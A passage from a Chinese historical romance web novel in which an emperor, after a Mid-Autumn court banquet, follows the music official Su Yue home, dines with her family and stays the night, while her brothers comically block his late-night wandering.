李再思从食案后走出来,两眼冷冷看着她。宝成公主提心吊胆,不敢设想这所谓的婚姻,以后会是什么走向。眼下最要紧的是叩谢天恩,容不得她犹豫了,只好遵着鲁国夫人的指示走到这位陌生的男子身旁,并肩向皇帝肃拜了下去。 御座上的人露出轻浅的笑意,“大将军对社稷有功,大婚事宜,让少府帮着操办吧。宝成公主虽是前朝的人,但出身高贵,年少无辜,望大将军好生爱护,不要辜负了朕的成人之美。” 李再思自然有一套说辞向皇帝感恩戴德,虽然这婚姻很大程度上是源自政治上的碾压,但好在这位前朝公主长得不错,大将军心中的不平,在看见公主容色之后,也稍稍得到了一点平复。 好了,皇帝随手办完了事,又专心看他的歌舞和苏月去了。 一场大曲大约耗时一个半时辰,接下来是各色百戏杂技。今年的百戏也推陈出新,多了许多以前不曾看过的内容,惊险有之、逗人发笑有之,发人深省也有之。可以看出梨园中人尽了心,这个以前被人瞧不起的小小衙门,从今往后也是响当当的铜豌豆了。 迫不及待想见一见幕后的功臣,好好夸她两句。皇帝视线游移,顺着退场的通道望过去,隐约能看见她侧身站在帷幕之后,正一本正经与底下人说话。说到高兴处,绽开一个笑,这笑容能传染人,皇帝的唇角也不自觉仰起来,只是可惜,她都不朝他看一眼。 留意着他一举一动的太后嗟叹,完喽,辜苏月长进了他心缝儿里。女郎威风凛凛昂着脑袋,脚插大地,成长得又快又嚣张。太后甚至不怀疑,皇帝的胸腔里若是装不下了,也能让肝脾肺肾往边上挤一挤。 “娶回来吧。”太后偏过头说,“为娘瞧你也就这点出息了,别想旁的位份,就当皇后,不当皇后不成。” 皇帝无言地看看母亲,心道他也想娶她回家,但梨园刚有起色,让她放下一切回掖庭当皇后,恐怕有些强人所难。所以这事暂且不着急,不是离立春还有好几个月吗,慢慢来。等她把要办的事都办完了,再凭借他的魅力,哄骗她致仕放权吧。 他觉得自己的长远计划还是很可行的,她应当会对他心存感激。复又朝通道看一眼,人已经不在那里了,他心不在焉地坐了片刻,心里盘算着,是不是可以吩咐众臣工自由活动了。 正想开口,见她换回了公服快步朝他走来,涣散的精神一下子又收拢,忙坐正身子,端起案上的茶盏喝了一口。 结果苏月没有忙着同他说话,先去向太后请了安,含笑问:“今日的歌舞,不知合不合太后的脾胃?” 太后说很好,“我先前还和几位阿婶说呢,说娘子很有些本事,率领梨园子弟挣脱了桎梏,创造出这些好曲目。” 旁边的王妃和侯夫人等听在耳里,太后的一句“几位阿婶”,奠定了辜娘子是自己人的基础。莫说这回确实干得漂亮,就算不那么漂亮,也没有不夸赞的道理。 成王妃说:“我喜欢那首江南道。哎呀,听着就想起江南三月,细雨纷飞的日子。” 那位能吃能生的三王妃也来了,三王与皇帝是堂兄弟,曾以举家之力资助过军饷,因此立国之后破格封了二字王。一次正确的选择,对人生有多重要,不必细说了。反正如今临淄王夫妇过得最快活,王妃养得又白又胖,毫不顾忌地说:“我就与阿婶不同,我喜欢霓裳羽衣舞。那些小郎君生得好俊俏,看上一眼,浑身舒畅。我家三郎也曾有好看的时候……不行,回去要苛扣他的用度了,明日一早赶他起来爬山。” 大家都笑,这对夫妻是最实在的,不会过多掩饰,也不费那个心讨别人的喜欢。他们心思很纯良,三郎从小到大都是老实孩子,没想到后来娶了亲,新妇和他一模一样,可以算得上是大梁第一自在闲人了。 苏月在那边和命妇们说话,好像已经把某人给忘了。说到高兴处,宫人搬来了杌子,让她坐在太后身旁。 皇帝很无奈,放下了手里的杯盏。 国用见状开解:“娘子与太后及王妃们处得好,这可是幸事啊。” 皇帝脸上淡淡地,半晌轻道了声,“可是朕也有话要对她说……” 好在她还算有良心,终于朝他看过来了,唇边带着笑,眼里有星光。 只消一眼,他又觉得没什么不满了。自己同她说话的机会多得是,先让她在族中建立起良好的关系,也是极为重要的。 女子聚在一起,好像有说不完的话,过了好半晌她才辞过众人,到他跟前复命。 “陛下都看见了吧?”她欢欢喜喜地问,“现在的梨园,是不是比以前精进了不少?” 谁说不是呢,皇帝的溢美之词差点脱口而出,但在紧要关头还是把持住了,比较含蓄地说:“确实精进,但精进得不多。朕觉得还有继续长进的可能,你要沉下心来,别迷失在花言巧语里。” 苏月已经学会不要太拿他的话当真了,自信满满地说:“太后和王妃夫人们都说喜欢,尤其霓裳羽衣舞,很投大家所好。” 提起这个,皇帝就暗叹,她在这里得意,不知道在她没有察觉的时候,掀起过轩然大波。 不过这事已经过去了,不必再提,看她很高兴,皇帝勉为其难“嗯”了声,“有创新,朕也觉得不错。但朕更喜欢那曲剑舞,让所有人看见了梨园女郎的锋芒。朕现在很是佩服自己的远见卓识,把梨园交给了你。你可以成为所有伎乐的底气,让那些曾经被人轻贱的女子,也像你一样光芒万丈。” 咦,真是难得听他说一句人话。苏月挺了挺胸膛,笑着说:“不瞒陛下,我也佩服我自己,当然更佩服那些替我出谋划策的女郎们。以前老派的官员当道,埋没了那么多人才,陛下,我接手之后才知道,原来梨园中卧虎藏龙,是个不逊于朝堂的好地方。” 她说起事业就眉飞色舞,皇帝其实很想问一问,他们的婚事要不要提上日程。 只是这话有点难以出口,辜家刚在上都安顿下来,他现在有想法,会不会让她觉得他挟恩求报? 犹豫良久,他才不经意地打探:“大宴要持续到晚间,今日你恐怕很忙,回不去了。打算何时回去呀?当值期间可不能随意走动,告假得报朕知道。” 苏月有她妥善的安排,“我与阿爹阿娘说好了,等大宴结束就回去。到家不过亥正,还能一同赏会儿月,也不会耽误明日的公务。” 皇帝惊诧,“半夜回去,太辛苦了吧!朕觉得你可以明日下午回去,晚间和家里人一同用饭。” 至于为什么要安排在明日下午呢,因为他上半晌还要接见一下市舶司官员,商议开通海运的事。下半晌没那么忙,可以抽出时间,跟她一起回家。 苏月哪里知道他的小九九,“今日是中秋,过了今日,节都过完了,会留下遗憾。” “其实十六的月亮也很圆。”皇帝极力游说,“团圆饭设在十六,朕觉得寓意更好。” 苏月沉默下来,似乎在认真思考他的建议,他觉得她应该会采纳的,谁知她最后还是否决了,“臣不这样觉得,臣就要十五与家人团聚。” 真是个油盐不进的人,气得皇帝闭上了嘴。 苏月想,他根本无法体会自己急于回家的心,儿郎在外闯荡,鲜少会想家,女郎则不一样,那种绵绵的哀思萦绕在心头,会难过得吃不下睡不着。好不容易家里人都来了,她却因为忙于应付中秋大宴回不去。到了晚间下职后,时间都是自己的了,既便是在爹娘身边住一晚,也让她心满意足。 反正她决定好的事,就算皇帝陛下也管不着。宴饮期间她尽职尽责安排好一切,宴饮一结束,她的心早就飞回去了。带领一众乐工和舞伎们回到圆璧城,宫中发放的赏钱也到了,把这个任务交给太乐令,自己便回到官舍换了身衣裳。 早就预备好的马车停在方诸门外,离官舍也就十几丈远。她挑着灯笼出城门,高高兴兴登上马车,没想到一打垂帘,猛看见车内有个巨大的黑影。 这忽来的冲击吓得她惊叫起来,往后一仰差点摔下去。好在里面的人眼疾手快,长臂一伸揽住了她,兀自嘟囔不止,“有那么惊讶吗?你告诉朕宴后要回家,不就是给朕暗示,让朕在这里等你吗?” 第 54 章 真是好不要脸, 苏月惊魂未定,十分生气,“我什么时候暗示了?为了避免你从天而降, 我都已经让马车停在方诸门上了,怎么还是被你找到了!” 一气之下把真话说出来了,皇帝觉得很失望, “你这个两面三刀的人,求朕的时候是怎么说的?说家中设了宴, 邀请朕一起回去吃团圆饭。” 苏月噎了下, 想起来这话确实是她说的, 但她所谓的设宴, 并不是今天晚上。 “三更半夜回去,不过是吃两个螃蟹,吃两个月饼。宴请陛下得好酒好菜摆满,你现在跟我回去,家里什么都没预备, 岂不是打我爹娘一个措手不及吗?” 而皇帝很和蔼,笑眯眯道:“朕不嫌弃。”说着把臂一收, 将她圈进了车舆里, “宫筵已经吃得够够的了, 就算你家清粥小菜, 朕也甘之如饴。反正朕要同你一起回去, 辜大人, 说过的话必须算话,若是朕也像你一样出尔反尔,那这天下可就要大乱了。” 苏月被他弄得无话可说,怨怼地狠狠看着他。 她带来的小灯笼就在车舆内放着, 照出她不甚高兴的脸。皇帝是擅于自我麻痹的,提过那盏灯笼呼地一吹,灯灭了,世界就又美好了。 “走吧。”皇帝朝外吩咐了一声,吩咐得十分坦荡。 而苏月还在纠结,大晚上带着男人回家,让阿爹阿娘怎么想? “我今晚不回圆璧城了。”她觉得有必要事先同他说明,“你吃过了月饼,得自己回家,我不送你。” 皇帝说没关系,“朕一个大男人,还怕走丢了吗。” 可她还是忍不住好奇,“大宴一整日,您就不累吗?这么晚了还随我奔波,臣于心不忍啊。要不然让车兜个圈子,送您到永泰门上吧。” “啰嗦。”皇帝道,“你把朕当三岁的孩子,转一圈又送回去?朕十三岁征战沙场,一日奔袭三百里不在话下,看了整天歌舞就累了,那也太不中用了。” 苏月直发愁,原本以为自己能松快松快了,没想到还是摆脱不了他。 叹了口气,她把双肘撑在膝盖上,捧住了自己的脸。 那个黑影倒是浑不在意,语调轻快地说:“朕跟你回去是为你好,你把梨园整顿得这么出色,不想听朕大力夸赞你吗?” 苏月说:“我可以自己告诉爹娘,我今日做得有多好,连太后都夸奖我了。” “无人作证,就是自吹自擂。”皇帝好心地提醒她,“这话从朕口中说出来才可信。朕不辞辛劳特地赶到你家夸你,你不知感激就算了,还百般推脱,真以为朕不会生气?” 然而虽然身在黑暗中,他还是清晰地听见了一声“嗤”,这分明是在挑战他的权威,他一怒之下道:“朕只是想和你独处一会儿,你如此不屑,到底是什么意思?” 此话一出,彼此都沉默了,皇帝心想还好,没有灯,她看不见他的窘态。苏月也有同样的庆幸,她脸红的样子,好在没被他看见。 当然,沉默得越久,难堪越不容易纾解,必须想办法让气氛重新活跃起来。于是皇帝换了种夸赞的途径,“你的身子真软。” 苏月五雷轰顶,连脚趾头都烫起来,“你在胡说什么,哪里软了!” 皇帝却绘声绘色描述了一下自己的感触,“朕觉得到处都很软,尤其是腰,朕刚才搂了一把,分外玄妙。” 请问殴打皇帝,会不会被满门抄斩?如果不会,她真的打算奋起把他压在身下痛揍了。天底下竟有这样的人,占了便宜还拿来说,他才是觉得自己了不起,而她不敢生他的气吧! “不许再说了!”苏月气咻咻道,“烂在肚子里,不许对任何人提起,尤其是我爹娘。” 皇帝被她喝叱,怔愣了片刻,反应过来后输人不输阵,凉笑道:“辜娘子,你这是在命令朕吗?” 官大一级压死人,苏月的气焰顿时萎靡了,“也不是命令,只是觉得这种话被阿爹阿娘听见了不好,容易引发误会。” 皇帝便安抚她,“这是你我之间的私情,什么都拿出来说,朕又不是傻子。” 苏月感觉额上渗出了汗,中秋都过了,不知为什么天还那么热,热得人心慌意乱,热得人头昏脑胀。 她开始期盼马车赶得再快一些,早点到家,请他略坐一会儿,就可以打发他回宫了。说实话,这么大的人物出行,身边一个近侍都没带,她很怕万一出事,好不容易安稳的天下又要陷入水深火热,那她的罪过就大了。 “咱们的马车后面,有人尾随吗?”她小声问。 皇帝打起窗上的帘子朝后看了一眼,“没人,你觉得哪里不对劲吗?” 苏月说不是,“臣是问有没有人在暗处护卫陛下。您深更半夜外出,臣担不起这个责任,坐在车里也提心吊胆,怕您涉险,怕您不安全。” 皇帝听完,心里涌起了巨大的感动,原来她还是关心他的。她不是那种擅于温柔小意的女郎,她的一言一行坦坦荡荡,半点不掺假。正是因为这样,这种呼之欲出的牵挂才震撼人心,才显得他是特别的。 黑暗中的皇帝眼睫轻颤,稳住嗓音安抚她,“你的心意,朕明白了。放心,在你看不见的地方,处处有朕的暗卫,别说难得出宫一次,就算以后每日跟你回家,也是小事一桩。” 听得苏月眼前金花乱窜,这下可好,彻底完了。 唉,她捂住了脸,人生多少还是有些艰难的。 皇帝见她不说话,追问怎么了,“感动了吗?” 苏月心想感动的点在哪里?感动他像牛皮糖一样粘住了她吗? 不过转念再一想,自己还是应该心存感激的,毕竟家人千里迢迢迁到上都来,都是因他的恩典。连她现在要回的家也是他赏赐的,不能过河拆桥,不要他登门。 总之一忽儿一个念想,马车在她高低起伏的心绪里,笃笃穿过了街道。这一路因中秋张灯结彩,她的注意力又被夜市的繁华吸引了,暂时把那点小小的为难忘光了。 一条大街穿南市而过,到了尽头拐个弯就是永丰坊。家里仍旧保留着在姑苏时候的习惯,每到中秋就用花灯点亮大门两掖,人还没走近,便能看见门楣上巨大的匾额。 因她早就让人传话,说今晚要回来,大门到这时都没关。远远看见阿爹的身影在门前转了一圈,大概闹不清她回来的路径,探身往坊道那头张望。苏月催促赶车的快一些,车刚挺稳就打帘喊了声阿爹。 辜祈年一听忙回身,吩咐仆妇:“去报夫人,说娘子回来了……”结果话刚说完,看见女儿身后跟着个人,忙又追加了一句,“让全家都出来相迎,陛下驾临了。” 仆妇应个是,匆匆进去传话,辜祈年则上前迎接,堆笑道:“这么晚了,陛下还送苏月回来,实在是有心了。” 皇帝睁着眼睛说瞎话,“娘子邀朕回来吃团圆饭。” 苏月这时肠子都悔青了,后悔自己先前不该为了讨好他而信口雌黄。 这下把她阿爹惊住了,好在辜员外见多识广,有八风不动的定力,居然顺势接下了话头,“正是、正是,女郎早就与我们说过了,要宴请陛下。只是唯恐粗茶淡饭,慢待了陛下,陛下若不嫌弃,就请入席吧。” 苏月很意外,“这个时辰了,还没用饭,别不是在等我吧?” 她身上的特质,一大半都是传承自她父亲,姜到底是老的辣,辜祈年连看都没看她一眼,殷勤地引皇帝进门,抽空应她:“哪里是等你,分明是在等陛下。” 这时全家人都迎出来,恭敬地向皇帝行过礼。辜夫人招呼女使赶紧预备,一面拉住了苏月的手,小声问她今日可是累坏了。 苏月神采飞扬,告诉母亲:“累虽累了点,但心里很高兴。阿娘,我们筹备了一个多月的曲目大获成功,连陛下都忍不住要亲自登门拜访,感谢阿爹阿娘为朝廷生下我这栋梁之材。” 旁听的皇帝诧异地看向她,结果换来她厚脸皮的微笑,“是吧,陛下?” 他只得应承,对辜家夫妇说:“以前梨园凄风苦雨,一盘散沙,乐工们受人欺凌,是穿着华服的行尸走肉。现在娘子接掌了梨园,梨园里的人都活过来了,都是娘子的功劳。朕要感激辜翁与夫人,教出了这么好的女郎,朕振兴梨园全靠她。她是大梁舞乐的中流砥柱,与朝中贤臣一样,都是朕倚重的臣子。” 这番评价可把辜家夫妇惊坏了,辜祈年忙摆手,“哪里敢当,哪里敢当!她能为梨园效力,是陛下给予优待,破格栽培了她。咱们感激陛下照拂还来不及,女郎怎么受得起陛下如此夸赞。” 苏月说:“阿爹,这是陛下的真心话。”转头看看皇帝,“ 陛下,您快说呀” 皇帝点头不迭,“确实是真心话。” 辜家夫妇对望了一眼,知道这是他们之间的交情,好像也不用太自谦。况且作为父母,从来都为女儿骄傲,小时候头一回懂得准确表达如厕的意思,爹娘欢天喜地告诉了家里所有人。头回学会用筷子,爹娘每顿饭都夸她,整整夸了半个月。如今年轻的女郎,已经能张罗梨园的事务了,那可是一千多人的衙门啊,怎么反倒不能骄傲了? 辜祈年夫妇立马心安理得接受了,脸上洋溢着热情的笑,客气地招呼,“快快,陛下请入座吧。” 中秋的家宴安排在庭院里,方便一面用饭,一面赏月。结果皇帝坐下了,一家人却掖着两手站在一旁,毕竟没有招待过这样的人物,一时有些无所适从。 皇帝见状,温声道:“朕冒昧登门,扰了大家过节的好兴致,那就是朕的罪过了。如今是在家中,不是在朝堂,也没有半个外人,大家都坐吧,总不能让朕一人吃这一桌佳肴。”边说边起身比手,“辜翁,夫人……” 辜祈年俯身谢了坐,这才招呼众人,“依陛下的吩咐,都坐,都坐。” 大家这才松散下来,依次落座。 皇帝在除了苏月之外的人面前,言行还是十分正常的,谦和道:“今日宫里设大宴,朕已经用过饭了,辜翁盛情相邀,朕不能推辞,就来凑个趣,先敬全家人一杯吧。” 大家还没来得及举箸,忙又举杯站起身。辜祈年双手捏着杯盏,杯沿一压再压,“陛下对辜家有恩,合该我等敬陛下才对。” 于是一杯酒,你敬我来我敬你,看得苏月直叹气。早就说了不让他来,一来弄得全家战战兢兢,再看天上的月亮,似乎都变成三角的了。只盼他喝完两杯就回宫吧,庙小容不下大菩萨,她原本还有很多心里话要和家人说,这下子说不成了。 好在边上还有两位阿妹和三位阿嫂,女郎们私下里团聚,苏云给苏月斟上了桂花酿,小声道:“阿姐,咱们干一杯。” 六位女郎碰了杯,一饮而尽,苏月咂咂嘴问:“是从姑苏带来的吧?不像上都的酒,怎么喝都差点意思……” 眼角不经意瞥了皇帝的方向一眼,见他虽然在同阿爹阿兄们说话,然而眼风还是犀利且精准地瞄向了她。 苏月不得已,只好执壶过来,“陛下,这是家乡的桂花酿,极好上口,您也喝一杯吧。” 反正就是你尝试过的东西,不能落下我,皇帝饮过了她们的酒,心情很不错,和辜家的男人们热闹地聊起了以前在姑苏的见闻,也着力打听起姑苏的现状。哪些举措利国利民,哪些弊政要重新改革,他都用心记在了脑子里。 苏雪那厢问苏月:“阿姐今晚住在家里吧?院子里开了好多山茶,我剪了几支插瓶,搁在阿姐窗前了。” 苏月朝她拱拱手,“多谢阿妹,每日把我的屋子打理得那么好,不管我何时回来,屋里都是香香的。” 阿嫂发笑,“可不是,小阿妹一日能上你屋里打扫八百回。” 苏雪赧然说:“我闲着无事可做,就喜欢替阿姐打扫屋子。” 苏月家姐妹三个,是三种不一样的脾气,苏雪是最典型的江南闺秀,养花呀,做女红呀、摆弄些精巧的小东西等,都是她喜欢的。苏月呢,由来受阿爹熏陶,很多时候阿爹谈生意都特意带上她。阿爹说将来就算出阁,也要开设自己的店铺,不吃婆家米面,不受婆家的闲气。至于苏云,性子有点像儿郎,自小就皮,很有主张。虽然她不爱女红,也不爱做生意,但她弹得一手好箜篌,对声乐有她自己的见解。所以当初奉使来征集乐工时,她是真心实意想替阿姐去的。 她就挨着苏月坐,先前一直沉默,忽然开口对苏月说:“阿姐,我想入梨园。” 她的声音并不大,满以为只有阿姐听见,没想到饭桌上忽然安静了。大家齐齐朝她看过来,阿娘分明有些慌,“你说什么呢,怎么忽然生出这个念头来?” 苏云倒很坦然,“我喜欢弹奏,想让技艺被更多人看见。我们这些女郎,长到这个年纪除了等着嫁人,没有旁的指望。我又不想嫁人,那么去做一些自己想做的事,跟着阿姐进梨园,有什么不好?” 全家人面面相觑,不知该说什么好,皇帝唇边倒是噙着淡淡的笑意,平静地望向苏月。 苏月也有些拿不定主意,如今的梨园再不是以前的梨园了,陆续有乐人寻来,自愿入园。可入园毕竟有一定的章程,她也怕好好的姐妹之情,弄到最后不欢而散。 于是丑话说在前头,“梨园中有考核,是做前头人还是搊弹家,得看自己的本事。还有一桩最要紧,入园须得满七年才能回家,七年时间可不短,你要仔细想明白。” 苏云很执拗,“七年就七年,我不怕。” 苏月迟疑地看了看爹娘,“园中的乐师,是不能随意离开圆璧城的,也不能随意回家……” 这时皇帝发了话,“规矩虽定死了,但也有回旋的余地。既然是阿妹,不用说什么前头人、搊弹家了,让她跟在你身边,帮你处置那些梨园事务就行了。” 这可是明晃晃的裙带关系啊,苏月说:“不成吧……园中那么多老资历的乐工都看着,我的阿妹一来就越过了次序,会被人说闲话的。” 皇帝并不在意那些,爱屋及乌也不是一回两回了,“园中那些掌乐、典乐也不是从乐工中提拔的,瞻前顾后难成大事,这件事朕准了,不用再议了。” 对辜家人来说,这又是一个天大的恩惠。辜祈年夫妇原本还想让苏云多加考虑,可苏云却站起身,郑重地朝皇帝叉起了手,“多谢陛下。不过卑下不走捷径,愿意经由考核入园,若考不中,来年再试。” 苏月呆滞地看向皇帝,他徇私得如此顺滑,难道是在刻意讨好爹娘吗? 而皇帝陛下自有他的主张,苏月需要早点培养接班人。这梨园使又不能长久担任下去,等到必须卸肩的时候,有人在底下接着,她放权不也容易吗。横竖肥水不流外人田,阿妹还能继续帮她完成她想达到的目标,她就可以了无遗憾地回掖庭当皇后了。 又是皆大欢喜,一切真可谓妙透了。皇帝一高兴,还多喝了两杯,一径地夸赞辜夫人厨艺好,居然嘴甜哄得辜夫人心花怒放。 苏月顿觉鄙夷,和她说话就爱捅她肺管子,面对别人的时候明明很正常。抬头望望,月上中天,饭吃得差不多了,陛下也该荣返了。 家里的仆妇撤下碗盏,大家起身离席,苏月对皇帝道:“臣让人套车,送陛下回宫吧。” 皇帝说好,转身却趔趄了下,尴尬地扶额一笑,“朕好像贪杯了,有些头晕呢。” 苏月心道天菩萨,他又演上了。 果然很快就获得了辜家夫妇的响应,辜祈年道:“头晕可不便赶路啊。” 辜夫人连连点头,“可不是。若蒙陛下不弃,今晚就留宿在寒舍吧。院子是现成的,早已收拾好了,这就可以带陛下过去。” 皇帝笑得迟迟,“那怎么好意思,可是太过叨扰了啊?” 辜夫人摆手道:“陛下千万别说叨扰,我们只恐接驾不力。” 嘴上这么说,心里简直大呼自己未雨绸缪得好。看吧,男子的心思真是猜也猜得到,十四刚布置好院子,十五晚间可不就来了。连家主都向她投来敬佩的目光,若没有她事先的安排,今晚就慌了手脚了。 好在有备无患,辜祈年牵袖比手,“请陛下随我来,卑下领陛下去瞧瞧您的下榻之处。” 皇帝临走看了苏月一眼,虽然领他认屋子这件差事由她父亲代劳了,但已然发展到了同一屋檐下,他总能找到机会去她的香闺看看的。 跟着岳丈往东边走,穿过跨院,前面豁然开朗,是个收拾得很精美的院落。院子里早就预备了侍奉的人,一个个毕恭毕敬站着,不过这些人用不上,很快国用便引领内侍赶来,连皇帝起坐的用具也一应带来了。 辜祈年呆呆看着宫里的人到处查看布置,干笑道:“卑下还以为陛下是一人前来的呢……好在这院子大,陛下与中贵人们可以住得自在。” 皇帝这会儿也不掩饰了,真挚道:“朕的心意,辜翁定然明白吧?” 辜祈年说明白,“所以专门腾出院子,以备迎接陛下。” 皇帝心里很舒称,辜家人务实又有心,连行在都给他准备下了,看来是认准他这个郎子了。 正想说两句感激的话,辜祈年快他一步介绍上了,“这是东院,陛下今夜就在此处屈就。女郎住在西院,离得有些远,怕不好照应,陛下若是有什么差遣,尽管让人知会大郎、二郎、三郎、卑下……总之知会谁都可以,卑下等竭诚侍奉陛下。” 第 55 章 后来皇帝才知道, 原来老岳丈把家里的男丁都罗列了一遍,并不是随意说说的。 他的这个院子坐落在整个宅邸的最东边,从那里出来, 想抵达苏月的闺房,其中相隔着所有人的卧房。 皇帝陛下表示,自己每每批阅奏疏到子时, 今日时候还早,有点睡不着, 打算边赏月边散步。结果他途径第一个庭院的时候, 辜家大郎出来了, 笑着朝他拱手, “这么晚了,陛下还不就寝吗?” 皇帝神情很坦荡,“朕让人安排下这个宅子,却一直没来过内院,难得有机会, 四处看看。” 大郎很殷勤,“卑下陪陛下一程吧, 正好向陛下介绍介绍。” 皇帝忙说不必, “消消食而已, 不必相陪。” 辜家大郎听了, 深深朝他作了一揖, 退回去了。 皇帝暗暗松口气, 再往前,结果辜家二郎又从院门上出来,恭敬地拱起手,“不知陛下有何吩咐?” 皇帝心说好似鬼打墙, 堂堂的一国之君,居然在辜府上感受到了前所未有的尴尬。只得放稳心态,平和地解释:“消消食,不必相陪。” 辜二郎好像有些不解,但还是温存地道了句,“时候很晚了,陛下早些安置吧。”说完也退回了自己的院子。 皇帝看着这关卡重重的大宅,不由感到惆怅,转头问国用,“在他们眼中,朕是不是有点古怪?半夜不睡觉,到处乱溜达。” 国用掖着手道:“都是过来人,辜家的郎君们一定能体谅陛下的。陛下龙马精神,正值盛年,又没娶亲,辜娘子就在不远之处,夜里睡不着很正常。” 皇帝蹙起眉,“他们当真能体谅?” 国用说是,“大家都年轻过,他们不光应当体谅,更应当深感荣耀。” 皇帝点了点头,举步再要往前,不知怎么又有些踌躇了。 “前面会不会是三郎的院子?”他心里没有底。 国用往廊道尽头看了眼,歪着脑袋说:“这处宅邸也是奇怪,院落像女郎脖子上的璎珞,靠游廊穿起来。” 皇帝心想真是太难了,当初攻打上都都没这么难。不过既然已经走到这里了,再往前探一探吧,遂鼓起勇气又走一程。果不其然,老远就看见了在廊上徘徊的三郎,三郎说真巧,“陛下也被蚊子咬得睡不着?” 皇帝的笑容这回真有些挂不住了,巨大的挫败感瞬间笼罩住他。他想好了,以后若是万人之上太久,过于狂妄了,就到辜家来走一遭,保管什么雄心壮志都没了。 “八月里的蚊子,还是这么恼人。”他皱着眉说,“朕闲逛半日,正要回去,你也早些睡吧。” 他转身原路返回,陪在一旁的国用问:“陛下就此放弃了?” 皇帝的侧脸看上去很不快乐,冷声道:“朕再往前走,就该遇上辜员外了。” 那倒是,为了避免更大的尴尬,还是知难而退吧。毕竟熟悉地形用过了,消食用过了,蚊子多也用过了,接下来总不能说梦游吧! 往回走,每一步都走得不情不愿,皇帝气恼道:“他们像防贼一样防着朕,有点过分了。” 国用心道人家八成也没想到,防备居然起了效果。若是陛下没想夜会女郎,就不会觉得人家过分,国用是擅长反思的,所以才能在陛下跟前长期服侍。 当然实话总是不太好听,还是得方方面面周全。国用想了想道:“其实陛下不该着恼,反倒该为女郎高兴。辜家上下是当真爱重女郎,越是层层阻碍,越表示家里人全心保护着女郎。要是换了寻常人家,哪会一个东院一个西院,着力分开二位,撮合您二位还来不及呢。” 皇帝听他这么说,心里的不平霎时烟消云散了。毕竟都是为着苏月,自己受点委屈也没什么。 但要说辜家对女儿的保护,着实让人深有感触,从他进门到现在,辜家夫妇对他提及苏月时都是称呼女郎,从来没有叫过她的闺名。这是父母对女儿的尊重,在外姓男子面前刻意规避,即便对方是皇帝,也毫无例外。 国用怕陛下仍旧不悦,想方设法岔开话题,“奴婢听说江南人家对待女儿,那是全大梁首屈一指。奴婢没去过江南,果真是这样吗?” 皇帝笑了笑,“十里红妆嫁女郎,你听说过吗?” 国用颔首说是,“嫁妆绵延十里,奴婢是听过的,只是觉得有些不可信,那得是多大的排场啊!” 皇帝说是真有其事,“朕年少的时候曾经见过。富户人家把女儿一生所需的用度都备齐了,钱财、家什、绸缎、仆从、车马,甚至是将来入土所用的棺椁,都一并送去了夫家。此生不用夫家一针一线,一生不必伏低做小,这是娘家给予的底气,朕将来嫁女,也定要这样。” 好家伙,陛下想得果然长远。国用心下也惊叹,“既然如此,还嫁人做什么?嫁汉嫁汉,穿衣吃饭,吃穿用度都不需夫家插手,专去给人家生孩子,岂不是亏得慌?” 皇帝笑道:“哪里亏?生不生孩子在女郎,既然决定生,那就不是为男人生,是为自己。若在夫家过得不好,可以连嫁妆带孩子一同领回娘家,娘家绝不会有怨言。这点江南的父母做得极好,所以江南的女郎有凛凛风骨,让人过目难忘。” 国用不住点头,“若是辜娘子出阁,料辜员外也定是如此。” 皇帝倒也不觉得有哪里不妥,皇后照样需要底气,且从来不是皇帝的附庸。他的皇后,一定是个顶天立地的伟女子,用不着一生唯唯诺诺,听丈夫的安排。 不过“将来”的事想得很多,再放眼看当下,发现依旧任重而道远。 这一夜留宿,对皇帝来说没有任何进展,所以第二日要会见市舶司官员,他下令把人召到了永丰坊,完全没有要回宫的打算。 东院里官员来去,庄严一如乾阳殿,东院之外的辜家人聚在一起,眼巴巴朝东边望着。 辜祈年对插着袖子自言自语,“陛下该不是打算,把朝廷搬到咱们家来吧……” 这个猜测很大胆,但也不是完全没有可能,至少偶尔成为宫外的临时朝廷,操作起来并不难。 辜祈年说完,大家又把视线转向了苏月,苏雪问:“阿姐,他以后就是咱们的姐夫了吧?” 苏月头皮发麻,讪讪道:“别瞎说,我可没答应。” 苏云道:“这模样,你不答应有用吗?” 大家都感慨冥冥中自有定数,四年前阿爹回绝了人家,谁知四年后转个圈又回来了。仿佛辜家就是要与权家结亲的,这是命,认吧。 大郎说:“昨晚我在院外见到陛下了,他说到处逛逛。三更半夜到处逛逛……嘿!” 二郎说我也见到了,“他说消食,吃多了。” 三郎表示远远发现他从廊上过来,自己先发制人拦住了他的去路,“我要是不拦截,他就要经过爹娘的院子了。” 辜祈年瞅瞅这自以为是的蠢儿子,骂了句孽障。 三郎觉得很冤枉,“我不是遵着阿娘的吩咐行事吗。” 辜夫人说戆胚,“你就不会软乎些,假装巧遇。冷不丁蹦出来拦人,也不怕给家里招祸。” 三郎脾气直爽,愣眼道:“你们装模作样,难道他就看不出来吗?” 气得三嫂捶他,“我说让他在院子里猫着,他直撅撅拦在半路上,说他又不听,这犟驴多可气!” 辜祈年说算了算了,“好在人家气量大,反正比他母亲气量大。” 话音方落,外面有人传话进来,说安福宫差人来拜访,求见主君。 辜祈年回头问苏月:“安福宫是什么?” 苏月耷拉着眉眼说:“太后的寝宫。” 辜家夫妇暗道一声乖乖,八成是太后听见风吹草动了。这会儿派人来,不会是来申斥的吧!可人已然到了,不能不见,只好吩咐请进厅堂,自己马上就过去。 苏月陪同爹娘一块儿赶到前厅,还没进门就看见范骁抱着拂尘,站在厅堂正中央。 她上前叫了声班领,“什么风把您吹来了?” 范骁笑着说:“还能是什么风,定然是东风呀。”边说边向她身边的夫妇行礼,“二位是辜员外及夫人么?卑下是宫中的内侍班领,在太后跟前当差。太后命卑下来问员外及夫人好,另明日一早,入掖庭觐见。” 辜祈年夫妇忙领命,虽然不知道太后打的什么主意,既然让去,那就一定得去。 早前权家求亲,托了媒人前来,太后并未出面,两家人也从来没见过面。现在要当面锣对面鼓了,这种难堪又忐忑的心境,真是不大好描述啊。 送走了范骁,苏月安抚爹娘,“太后其实很和善,我在安福殿那段日子,太后对我很好,不曾为难过我。” 辜祈年摸了摸后脖子,“陛下瞧得起你,太后看着陛下的情面也不会为难你。可咱们就不一样了,说不定会给个下马威一雪前耻……谁知道呢。” 苏月也不放心,想了想道:“明日我陪阿爹阿娘一起入宫,万一出了什么岔子,也好照应。” 辜祈年叹息着点点头,其实自打要入上都,他就做好了准备,总免不得要见一见太后的。以前自家还能理直气壮拒绝,然而到了今时今日,这恩典是不谢也得谢了。 那厢皇帝召见市舶司官员,一上午公务办得差不多了,东院里的人才陆续退出来。见辜家人都呆滞地在前院站着,纷纷拱手行过礼方辞出门。 